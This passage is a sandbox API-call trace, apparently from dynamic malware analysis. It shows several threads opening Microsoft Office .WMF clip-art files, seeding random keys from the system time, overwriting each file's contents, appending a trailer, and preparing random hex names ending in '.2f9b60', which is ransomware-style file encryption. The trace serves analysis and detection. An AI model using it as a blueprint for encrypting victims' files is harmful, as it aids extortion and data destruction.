[0215.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac43d0) returned 1 [0215.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d8e500) returned 1 [0215.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dac580) returned 1 [0215.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba6e0) returned 1 [0215.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058830) returned 1 [0215.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac43d0 [0215.536] SetFilePointerEx (in: hFile=0x1540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.537] WriteFile (in: hFile=0x1540, lpBuffer=0x431f2220*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3719fa90, lpOverlapped=0x0 | out: lpBuffer=0x431f2220*, lpNumberOfBytesWritten=0x3719fa90*=0x10a, lpOverlapped=0x0) returned 1 [0217.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0217.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e950 [0217.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e950) returned 1 [0217.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e950 [0217.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4f0 [0217.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f4f0) returned 1 [0217.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0217.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0217.968] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="7a") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="a9") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="82") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="a9") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="15") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="d8") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="62") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="98") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="a8") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="7c") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="a8") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="05") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="88") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="74") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="24") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="b4") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="28") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="ec") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="fe") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="68") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="a9") returned 2 [0217.968] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="71") returned 2 [0217.969] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="5b") returned 2 [0217.969] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="8b") returned 2 [0217.969] RtlInitAnsiString (in: DestinationString=0x3719fb08, SourceString="7aa982a915d86298a87ca805887424b428ecfe68a9715b8b" | out: DestinationString="7aa982a915d86298a87ca805887424b428ecfe68a9715b8b") [0217.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x3719fad8, SourceString="7aa982a915d86298a87ca805887424b428ecfe68a9715b8b", AllocateDestinationString=1 | out: DestinationString="7aa982a915d86298a87ca805887424b428ecfe68a9715b8b") returned 0x0 [0217.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f6e0 [0217.969] wcscat (in: _Dest=0x1cd642c0, _Source="7aa982a915d8" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7aa982a915d8") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7aa982a915d8" [0217.969] wcscat (in: _Dest=0x1cd642c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7aa982a915d8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7aa982a915d8.2f9b60" [0217.969] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7aa982a915d8.2f9b60", NtPathName=0x3719fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\7aa982a915d8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fee70 Thread: id = 3586 os_tid = 0x1118 [0211.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf")) returned 0x20 [0211.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF", dwFileAttributes=0x20) returned 1 [0211.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1360 [0211.177] GetFileSizeEx (in: hFile=0x1360, lpFileSize=0x36e2f6a0 | out: lpFileSize=0x36e2f6a0*=1972) returned 1 [0211.177] SetFilePointerEx (in: hFile=0x1360, liDistanceToMove=0x7b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.177] ReadFile (in: hFile=0x1360, lpBuffer=0x36e2f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36e2f668, lpOverlapped=0x0 | out: lpBuffer=0x36e2f620*, lpNumberOfBytesRead=0x36e2f668*=0x4, lpOverlapped=0x0) returned 1 [0211.982] SetFilePointerEx (in: hFile=0x1360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0211.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0211.983] NtQuerySystemTime (in: CurrentTime=0x36e2f560 | out: CurrentTime=0x36e2f560*=132462178168474000) returned 0x0 [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x206e55dc [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x7a6b0ac5 [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x726202ca [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x1e3072e3 [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x383df647 [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x3e84f72f [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x223e5d53 [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x6c5ee7d [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x75a1f39b [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x10887a3f [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x1ab11e6a [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x3c6d2c91 [0211.983] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x36805490 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x4052dd89 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x3a9cdecd [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x7a2c6c18 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x32c0be3 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x6d720fac [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x61cb9bf8 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x6bbc2015 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x8b44c86 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x430ddaa [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x2038d391 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x379cfff0 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x7e32c253 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x485248f0 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x759f962a [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x1e5d64f [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x33099816 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x19867ce4 [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0xbe66f6a [0211.984] RtlRandomEx (in: Seed=0x36e2f550 | out: Seed=0x36e2f550) returned 0x50c4bb63 [0211.994] ReadFile (in: hFile=0x1360, lpBuffer=0x4248c580, nNumberOfBytesToRead=0x7b4, lpNumberOfBytesRead=0x36e2f550, lpOverlapped=0x0 | out: lpBuffer=0x4248c580*, lpNumberOfBytesRead=0x36e2f550*=0x7b4, lpOverlapped=0x0) returned 1 [0211.994] SetFilePointerEx (in: hFile=0x1360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.995] WriteFile (in: hFile=0x1360, lpBuffer=0x424a2de0*, nNumberOfBytesToWrite=0x7b4, lpNumberOfBytesWritten=0x36e2f554, lpOverlapped=0x0 | out: lpBuffer=0x424a2de0*, lpNumberOfBytesWritten=0x36e2f554*=0x7b4, lpOverlapped=0x0) returned 1 [0215.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f90 [0215.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610b0 [0215.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8610b0) returned 1 [0215.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424a2de0) returned 1 [0215.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4248c580) returned 1 [0215.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba5e0) returned 1 [0215.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058f10) returned 1 [0215.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8610b0 [0215.575] SetFilePointerEx (in: hFile=0x1360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.575] WriteFile (in: hFile=0x1360, lpBuffer=0x42c15cb0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x36e2f670, lpOverlapped=0x0 | out: lpBuffer=0x42c15cb0*, lpNumberOfBytesWritten=0x36e2f670*=0x10a, lpOverlapped=0x0) returned 1 [0218.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0218.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0218.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0218.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b30) returned 1 [0218.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0218.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0218.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263500) returned 1 [0218.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0218.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0218.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0218.023] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="4d") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="79") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="8f") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="63") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="3a") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="fd") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="32") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="d4") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="52") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="f0") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="c6") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="36") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="03") returned 2 [0218.023] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="cd") returned 2 [0218.024] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="f5") returned 2 [0218.024] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="ea") returned 2 [0218.024] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="04") returned 2 [0218.024] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="16") returned 2 [0218.024] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="a2") returned 2 [0218.024] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="a0") returned 2 [0218.024] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="be") returned 2 [0218.024] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="26") returned 2 [0218.024] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="1d") returned 2 [0218.024] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="dd") returned 2 [0218.024] RtlInitAnsiString (in: DestinationString=0x36e2f6e8, SourceString="4d798f633afd32d452f0c63603cdf5ea0416a2a0be261ddd" | out: DestinationString="4d798f633afd32d452f0c63603cdf5ea0416a2a0be261ddd") [0218.024] RtlAnsiStringToUnicodeString (in: DestinationString=0x36e2f6b8, SourceString="4d798f633afd32d452f0c63603cdf5ea0416a2a0be261ddd", AllocateDestinationString=1 | out: DestinationString="4d798f633afd32d452f0c63603cdf5ea0416a2a0be261ddd") returned 0x0 [0218.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319edb0 [0218.024] wcscat (in: _Dest=0x43108930, _Source="4d798f633afd" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4d798f633afd") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4d798f633afd" [0218.024] wcscat (in: _Dest=0x43108930, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4d798f633afd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4d798f633afd.2f9b60" [0218.025] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4d798f633afd.2f9b60", NtPathName=0x36e2f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\4d798f633afd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430ff5c0 Thread: id = 3587 os_tid = 0x1170 [0211.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf")) returned 0x20 [0211.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF", dwFileAttributes=0x20) returned 1 [0211.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3130 [0211.183] GetFileSizeEx (in: hFile=0x3130, lpFileSize=0x3ca0f940 | out: lpFileSize=0x3ca0f940*=3564) returned 1 [0211.183] SetFilePointerEx (in: hFile=0x3130, liDistanceToMove=0xde8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.183] ReadFile (in: hFile=0x3130, lpBuffer=0x3ca0f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ca0f908, lpOverlapped=0x0 | out: lpBuffer=0x3ca0f8c0*, lpNumberOfBytesRead=0x3ca0f908*=0x4, lpOverlapped=0x0) returned 1 [0211.969] SetFilePointerEx (in: hFile=0x3130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a60 [0211.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0211.970] NtQuerySystemTime (in: CurrentTime=0x3ca0f800 | out: CurrentTime=0x3ca0f800*=132462178168318000) returned 0x0 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x5adb40dc [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0xd0aedb8 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x2e8a0004 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0xc9f99f7 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x3da34226 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x4f2e6660 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x4052dd89 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x668e936 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x6e5a7c4f [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x1f8bdc4c [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x2ef866b6 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x56676753 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x5a2fdddc [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x4dd88f2e [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x3ae08633 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x63529e56 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x716bf307 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x638607d9 [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x2421ccfa [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x5a05051c [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x1d58991d [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x349069cf [0211.970] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x5623fd0 [0211.971] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x2a85590f [0211.971] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x6f79a685 [0211.971] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x3288c6f1 [0211.971] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x2638135 [0211.971] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x66828a82 [0211.971] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x5418e05f [0211.971] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x3c011f8d [0211.971] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x4e3614cc [0211.971] RtlRandomEx (in: Seed=0x3ca0f7f0 | out: Seed=0x3ca0f7f0) returned 0x1bc6bedb [0211.981] ReadFile (in: hFile=0x3130, lpBuffer=0x42fbf4c0, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x3ca0f7f0, lpOverlapped=0x0 | out: lpBuffer=0x42fbf4c0*, lpNumberOfBytesRead=0x3ca0f7f0*=0xdec, lpOverlapped=0x0) returned 1 [0211.981] SetFilePointerEx (in: hFile=0x3130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.981] WriteFile (in: hFile=0x3130, lpBuffer=0x4249f1d0*, nNumberOfBytesToWrite=0xdec, lpNumberOfBytesWritten=0x3ca0f7f4, lpOverlapped=0x0 | out: lpBuffer=0x4249f1d0*, lpNumberOfBytesWritten=0x3ca0f7f4*=0xdec, lpOverlapped=0x0) returned 1 [0215.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0215.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860780 [0215.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860780) returned 1 [0215.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4249f1d0) returned 1 [0215.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fbf4c0) returned 1 [0215.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba4e0) returned 1 [0215.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058100) returned 1 [0215.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860780 [0215.570] SetFilePointerEx (in: hFile=0x3130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.570] WriteFile (in: hFile=0x3130, lpBuffer=0x42c14ab0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3ca0f910, lpOverlapped=0x0 | out: lpBuffer=0x42c14ab0*, lpNumberOfBytesWritten=0x3ca0f910*=0x10a, lpOverlapped=0x0) returned 1 [0218.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0218.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0218.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d70 [0218.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d70) returned 1 [0218.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d70 [0218.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619d0 [0218.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202619d0) returned 1 [0218.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0218.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0218.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0218.016] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="30") returned 2 [0218.016] sprintf (in: _Dest=0x1b7d82c2, 